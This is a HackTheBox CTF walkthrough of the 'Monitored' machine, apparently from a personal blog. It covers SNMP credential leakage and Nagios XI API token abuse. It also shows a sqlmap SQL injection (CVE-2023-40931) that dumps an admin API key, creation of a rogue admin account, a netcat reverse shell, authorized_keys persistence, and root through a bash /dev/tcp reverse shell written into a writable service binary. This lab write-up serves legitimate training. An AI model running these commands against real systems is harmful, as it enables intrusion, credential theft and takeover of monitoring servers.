HackTheBox | Monitored

In this walkthrough, I demonstrate how I obtained complete ownership of Monitored on HackTheBox
HackTheBox | Monitored
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Mon Jan 15 17:47:44 2024 as: nmap -Pn -p- -T4 -A -oN nmap.txt
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for monitored.htb (
Host is up (0.036s latency).
Not shown: 65414 closed tcp ports (reset), 116 filtered tcp ports (no-response)
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
|   256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_  256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp   open  http       Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| tls-alpn: 
|_  http/1.1
|_http-title: Nagios XI
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after:  2297-08-25T21:46:55
|_ssl-date: TLS randomness does not represent time
5667/tcp open  tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
1   33.58 ms
2   33.65 ms monitored.htb (

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 15 17:53:54 2024 -- 1 IP address (1 host up) scanned in 370.03 seconds
I wasn't initially having any luck with the service enumeration on TCP ports, so I checked UDP ports as well. Given the box's name, it makes sense that SNMP (UDP/161) would be open.
# Nmap 7.94SVN scan initiated Mon Jan 15 15:32:59 2024 as: nmap -Pn -sU --top-ports 500 -T4 -oN nmap-udp.txt
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for monitored.htb (
Host is up (0.014s latency).
Not shown: 492 closed udp ports (port-unreach)
68/udp    open|filtered dhcpc
123/udp   open          ntp
139/udp   open|filtered netbios-ssn
161/udp   open          snmp
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
686/udp   open|filtered hcp-wismar
30365/udp open|filtered unknown

# Nmap done at Mon Jan 15 15:42:19 2024 -- 1 IP address (1 host up) scanned in 559.52 seconds

Service Enumeration

TCP/80 & TCP/443

Looking at the nmap output, the web server on tcp/80 redirects to https://nagios.monitored.htb. This hostname is also present in the certificate data enumerated on tcp/443.

Add a Hosts Entry

echo '    monitored.htb nagios.monitored.htb' | sudo tee -a /etc/hosts

Explore the Site

Clicking the Access Nagios XI button redirects us to a login page. I did some Googling for default credentials for this service, but had no luck logging in. Need to enumerate some more.

Gobuster Enumeration

Site Root

gobuster dir -u https://nagios.monitored.htb/ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -o gobuster.txt -t 100 -k -x php,html,txt
/.htpasswd.txt        (Status: 403) [Size: 286]
/.htaccess            (Status: 403) [Size: 286]
/.htpasswd.php        (Status: 403) [Size: 286]
/.htaccess.txt        (Status: 403) [Size: 286]
/.htpasswd            (Status: 403) [Size: 286]
/.htaccess.php        (Status: 403) [Size: 286]
/.htpasswd.html       (Status: 403) [Size: 286]
/.htaccess.html       (Status: 403) [Size: 286]
/cgi-bin/.php         (Status: 403) [Size: 286]
/cgi-bin/.html        (Status: 403) [Size: 286]
/cgi-bin/             (Status: 403) [Size: 286]
/index.php            (Status: 200) [Size: 3245]
/javascript           (Status: 403) [Size: 286]
/nagios               (Status: 401) [Size: 468]
/server-status        (Status: 403) [Size: 286]

Application Root

gobuster dir -u https://nagios.monitored.htb/nagiosxi/ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -o gobuster.txt -t 100 -k -x php,html,txt
/.htpasswd.txt        (Status: 403) [Size: 286]
/.htpasswd.html       (Status: 403) [Size: 286]
/.htaccess            (Status: 403) [Size: 286]
/.htaccess.php        (Status: 403) [Size: 286]
/.htaccess.html       (Status: 403) [Size: 286]
/.htaccess.txt        (Status: 403) [Size: 286]
/.htpasswd            (Status: 403) [Size: 286]
/.htpasswd.php        (Status: 403) [Size: 286]
/about                (Status: 200) [Size: 18495]
/account              (Status: 200) [Size: 26755]
/admin                (Status: 200) [Size: 26751]
/api                  (Status: 403) [Size: 286]
/backend              (Status: 200) [Size: 108]
/config               (Status: 200) [Size: 26753]
/db                   (Status: 403) [Size: 286]
/help                 (Status: 200) [Size: 26749]
/images               (Status: 403) [Size: 286]
/includes             (Status: 403) [Size: 286]
/index.php            (Status: 200) [Size: 26737]
/install.php          (Status: 200) [Size: 26737]
/login.php            (Status: 200) [Size: 26575]
/mobile               (Status: 200) [Size: 15978]
/reports              (Status: 200) [Size: 26755]
/rr.php               (Status: 200) [Size: 26575]
/sounds               (Status: 403) [Size: 286]
/suggest.php          (Status: 200) [Size: 27]
/terminal             (Status: 200) [Size: 5215]

All of the pages with a HTTP 200 status redirect to the login page, so we'll definitely need a credential. The /terminal page is interesting in that it provides what appears to be JavaScript CLI, but it too requires a credential.


gobuster dir -u https://nagios.monitored.htb/nagiosxi/api -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -o gobuster.txt -t 100 -k -x php,js

This initial scan of the /api directory reveals that we have access to an /api/v1 subdirectory.

gobuster dir -u https://nagios.monitored.htb/nagiosxi/api/v1 -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -o gobuster.txt -t 100 -k -x php --exclude-length 32,268

I use the --excluede-length 32,268 option here to ignore false positives for pages that do not exist, but otherwise return a HTTP response code indicating they exist.

/authenticate         (Status: 200) [Size: 53]

Again, however, back to the same problem. We do not have a credential to login. We need to hunt around some more.

More Enumeration


sudo nmap -Pn -sU -T4 -p161 -A -oN nagios-udp-snmp.txt nagios.monitored.htb
The output from the snmp enumeration scripts is extremely long, so I will only be including the most interesting observations from the output.
|   540: 
|     Name: sh
|     Path: /bin/sh
|     Params: -c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB

This appears to be a potential credentials 'svc:XjH7VCehowpR1xZB'

|   1566: 
|     Name: bash
|     Path: /bin/bash
|     Params: -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB

Testing the Credential

Nagios XI Login

The first thing I notice here is the error message is completely different than that of other failed logins.

Try 'admin:admin'

That makes me think that the svc:XjH7VCehowpR1xZB credential is likely valid, but cannot log into the web control panel.

API Login

curl -skL -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' -d ''

Simple test of the API endpoint

So, now I need to figure out the proper syntax to authenticate to this API endpoint. I used this Google search query:

“nagios xi” “api” “curl” “authenticate” - Google Search

Which led me to a promising result: https://support.nagios.com/forum/viewtopic.php?p=310411#p310411

curl -skL -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5000'
token=$(curl -x -skL -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5000' | grep token | cut -d ':' -f 2 | sed -e 's/"//g' -e 's/\ //g' -e 's/,//g')

Store the 'auth_token' value in a variable for reference in additoinal commands

I tested my authentication token using the URL provided in the reply on that forum just to see if it would work; and to my surprise, it did!

curl -x -skL -X GET "https://nagios.monitored.htb/nagiosxi/includes/components/nagioscore/ui/trends.php?token=$token"

Proxied through Burp using '-x'

This, then gave me the bright idea to try:

curl -x -skL -X GET "https://nagios.monitored.htb/nagiosxi/index.php?token=$token"
The 'Render' output shows I've reached the web control panel

We'll generate a new authentication token and echo the URL to the console. Then, take the URL and paste it into your browser.

token=$(curl -x -skL -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5000' | grep token | cut -d ':' -f 2 | sed -e 's/"//g' -e 's/\ //g' -e 's/,//g') && echo "https://nagios.monitored.htb/nagiosxi/index.php?token=$token"
I'm in!

Web Control Panel Enumeration

Now that we're authenticated to the web control panel, we can get a reliable version number to look for potential exploits.

I dug around in the control panel as the svc user looking for any easy wins to get a reverse shell, but it seems like we'll need to pursue additional exploits as a credentialed user.

CVE - Search Results
The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.

Look for recent CVEs for our version of Nagios XI

Of all the recent CVEs listed here, CVE-2023-40931 looks promising. The other SQL injection vulnerabilities require specific application privileges. If you click the CVE link, you can find a page with a brief summary of the vulnerability:

Nagios XI vulnerabilities resulting in privilege escalation (& more)
Outpost24 has identified four vulnerabilities in Nagios XI, three of which result in privilege escalation.
When a user acknowledges a banner, a POST request is sent to /nagiosxi/admin/banner_message-ajaxhelper.php with the POST data consisting of the intended action and message ID – action=acknowledge banner message&id=3.

The ID parameter is assumed to be trusted but comes directly from the client without sanitization. This leads to a SQL Injection where an authenticated user with low or no privileges can retrieve sensitive data, such as from the xi_session and xi_users table containing data such as emails, usernames, hashed passwords, API tokens, and backend tickets.


SQL Injection

Manual Verification of Vulnerability

The CVE announcement specifies the parameters as acknowledge banner message&id=3, which would be encoded to acknowledge%20banner%20message&id=3. This didn't seem to be a valid, since I wasn't getting any output from the script. So, I tried replacing the spaces with hyphens and underscores, which worked.
Change '3' to a single quote character

Automate with sqlmap

The CVE overview doesn't provide any information on the type of SQL injection used. It does, however, provide some table names. Let's see if we can identify which database those tables belong to.

“xi_users” “database” - Google Search

Search Google for possible databses containing 'xi_users'

metasploit-framework/documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md at master · rapid7/metasploit-framework
Metasploit Framework. Contribute to rapid7/metasploit-framework development by creating an account on GitHub.

This is not the exploit we're using, but the link does contain some valuable information

Looks like the xi_users table — and likely the xi_session table — is stored in the nagiosxi database. Let's craft a sqlmap command to see if we can dump those tables.

# --proxy : Send all requests through Burp (good for logging too)
# -u : The URL identified in the CVE with identified corrections
# --cookie : The nagiosxi cookie as retrieved from your browser
# --drop-set-cookie : Ignore any attempts by the server to set a new cookie
# -p : Attack the 'id' parameter per the CVE
# -D : Target the 'nagiosxi' databse
# -T : Target the 'xi_users' and 'xi_session' tables
# --dump-all : Dump all data
# --dbms : Specify 'MariaDB' as idenitified in the SQL error
# --threads : Use the max number of threads, which is 10
# --batch : Use the default selections for any prompts

sqlmap --proxy="" \
-u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3" \
--cookie "nagiosxi=1fs6k61nmlkhqkqcoem38n3ihm" \
--drop-set-cookie \
-p id \
-D nagiosxi \
--dump : Dump the specified tables\
--dbms 'MariaDB' \
--threads 10 \
You're going to see your fellow HTB participants' usernames in the output, safely ignore and focus on the 'admin@monitored.htb' user. Also, the 'xi_session' table appears to not be in the targeted database.
cat ~/.local/share/sqlmap/output/nagios.monitored.htb/dump/nagiosxi/xi_users.csv | head -n 2
1,admin@monitored.htb,Nagios Administrator,IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL,1,$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C,nagiosadmin,0,1701931372,1,1701427555,0,1705452552,IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0,5,6,1701427555

Among the output, we can see the admin user's API key and password hash. In my testing, the password hash is not in the rockyou.txt wordlist. However, we can likely use the API key to our advantage.

Abusing the API Key

Create a New Admin User

There should be a way to add a new user via the REST API, and hopefully in a way that allows administrator access to Nagios web control panel

add a user via rest api site:support.nagios.com - Google Search

This thread on the Nagios support forums shows a person trying to add a user via the API using an auth_level=user parameter. So in theory, there should be a auth_level=admin option as well.

Get a List of Users

This will allow us to see which parameters we should pass when creating our new user.

curl -skL -X GET 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1

Create the New User

curl -skL -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1' -d 'username=pwnz&password=pwnz&name=pwnage&email=pwnz@localhost.local&auth_level=admin'

Log in as the New User

Reverse Shell via Core Config Manager Commands

run commands on host nagios xi - Google Search

Using this Google search, I came across this thread on the Nagios support forum. It is a PDF document that shows you how to create a command that can be run on any host registered in Nagios XI.

Go to Configure > Core Config Manager
Expand Command and choose 'Commands'
Click 'Add New'
Fill out the form, change your VPN IP and TCP port accordingly, and click 'Save'
Click 'Apply Configuration' at the bottom
Go to Monitoring > Hosts on the left
Click 'localhost'
Choose your command from the list
Click 'Run Check Command'
sudo rlwrap nc -lnvp 443

Start your TCP listener on the port you specified in the payload

And once again, click 'Run Check Command'

Upgrade Our Shell

ssh-keygen -t rsa -b 4096 -C "" -f "./nagios_ssh" -N ""

Run this on Kali to generate a SSH key pair

cat ./nagios_ssh.pub

Print the public key string to the console, copy it to your clipboard

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwh3g5C6rKgfvciCq247yg+/rbDsK5T/Z1OKMYznG3j0wNgc/2TGkmc/Si5nx7+jYgHDBpg5Oq6rx+MoiDSipnYpkmjMFfk0ef3Fu+Dh8vbh5VudkDnXJPxqDbFV6LBpzsBJzewVjQitPVhR+uil8OAqTeu6UJ3GhA2y6O+YKTFXX+Oy/010E6+vTSN80xCEMENaGm7gbDRjletmhb0+ffa/Xn5eIbsWrRPjjhQ7GlWPs92+lV6nL8D2n74GBtllW9QEQ9nTeqmy4IOByzSyXkmIiY4oMZjMVRDO5G6T578WRSC1hCXhoA5BUKb/Ys2rSa8YsQ/SsxSxZXzVB9FfrDMstLAnYiC9+mQS+n7uAgQdH3dqMOSh2544nplOEhZyQfdKzDMpIeGJqAQ+Bz9fHV3UV+9+DKsQKFo+xM9Cg9Z/FJ9mQbKBuKlPc139yS+IpL/pS+xNcYrG2+aU6xQu7roVnrWivp5RmnYIKk29YhD8unx7CIRwJTqaBuzVrDCjYFXudQpxmCp0L9SAfxaJknqKRRMe4k5EeNJY2wbacAMV8X+6fZi3W+asgZLzKANxwhuSFfyIw6eQ0JS266Kajm/Nu2Ys07CXzADJ5NcGnNI1VSxlo/HlWNgKnDdFSckHI3kWyTtYz7NHOJRkZoxbZIAHbmspt6VWi21zzgLLnAIw==' >> ~/.ssh/authorized_keys

Run this on the target to append the public key string as the nagios user

ssh -i ./nagios_ssh nagios@nagios.monitored.htb

SSH into the target with your private key


Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION="11 (bullseye)"

Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64 GNU/Linux

Current User

uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd)

User nagios may run the following commands on localhost:
    (root) NOPASSWD: /etc/init.d/nagios start
    (root) NOPASSWD: /etc/init.d/nagios stop
    (root) NOPASSWD: /etc/init.d/nagios restart
    (root) NOPASSWD: /etc/init.d/nagios reload
    (root) NOPASSWD: /etc/init.d/nagios status
    (root) NOPASSWD: /etc/init.d/nagios checkconfig
    (root) NOPASSWD: /etc/init.d/npcd start
    (root) NOPASSWD: /etc/init.d/npcd stop
    (root) NOPASSWD: /etc/init.d/npcd restart
    (root) NOPASSWD: /etc/init.d/npcd reload
    (root) NOPASSWD: /etc/init.d/npcd status
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *

Users and Groups

Local Users


Local Groups


Network Configurations

Network Interfaces

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:d7:2b brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet brd scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:d72b/64 scope global dynamic mngtmpaddr 
       valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb9:d72b/64 scope link 
       valid_lft forever preferred_lft forever 

Open Ports

tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0  *               LISTEN      -                   
tcp6       0      0 ::1:5432                :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                    

Processes and Services

Interesting Processes

root         569  0.0  0.0   2480   500 ?        Ss   11:22   0:00 /bin/sh -c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB 

Interesting Files

Interesting File 1


Privilege Escalation

After a lengthy amount of enumeration, the path to privilege escalation was apparently one of the sudo permissions. Looking at the choices we have for various sudo commands, it was a matter of finding any kind of vulnerabilities with the scripts or their dependences.

cat /usr/local/nagiosxi/scripts/manage_services.sh
# Manage Services (start/stop/restart)
# Copyright (c) 2015-2020 Nagios Enterprises, LLC. All rights reserved.
# =====================
# Built to allow start/stop/restart of services using the proper method based on
# the actual version of operating system.
# Examples:
# ./manage_services.sh start httpd
# ./manage_services.sh restart mysqld
# ./manage_services.sh checkconfig nagios
# ...
# ...
# Things you can do
first=("start" "stop" "restart" "status" "reload" "checkconfig" "enable" "disable")
second=("postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm")

This script is used to manage Systemd services

We have a choice between several Systemd services, it's just a matter of finding any files that might be writable by us.

systemctl list-units --state=loaded --plain | grep '\.service' | awk -v FS=' ' '{print $1}' | xargs -I % systemctl status % | grep Loaded | awk -v FS=' ' '{print $3}' | sed -e 's/(//g' -e 's/;//g' | xargs -I % find % -writable 2>/dev/null

Attempt to find writable any writable Systemd unit files

systemctl list-units --state=loaded --plain | grep '\.service' | awk -v FS=' ' '{print $1}' | xargs -I % systemctl status % | grep 'ExecStart' | awk -v FS='=' '{print $2}' | cut -d ' ' -f 1 | xargs -I % find % -writable 2>/dev/null

Attempt to find any writable binaries that are loaded by services

No writable unit files, but we do have writable binaries
echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/ 0>&1"' > /usr/local/nagios/bin/npcd

Overwrite the '/usr/local/nagios/bin/npcd' file with a simple bash script

sudo rlwrap nc -lnvp 443

Start your TCP listener

Change your VPN IP and port accordingly. Additionally, listen is just an alias for sudo rlwrap nc -lnvp on my Kali box.
sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd

Restart the service using root privileges





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.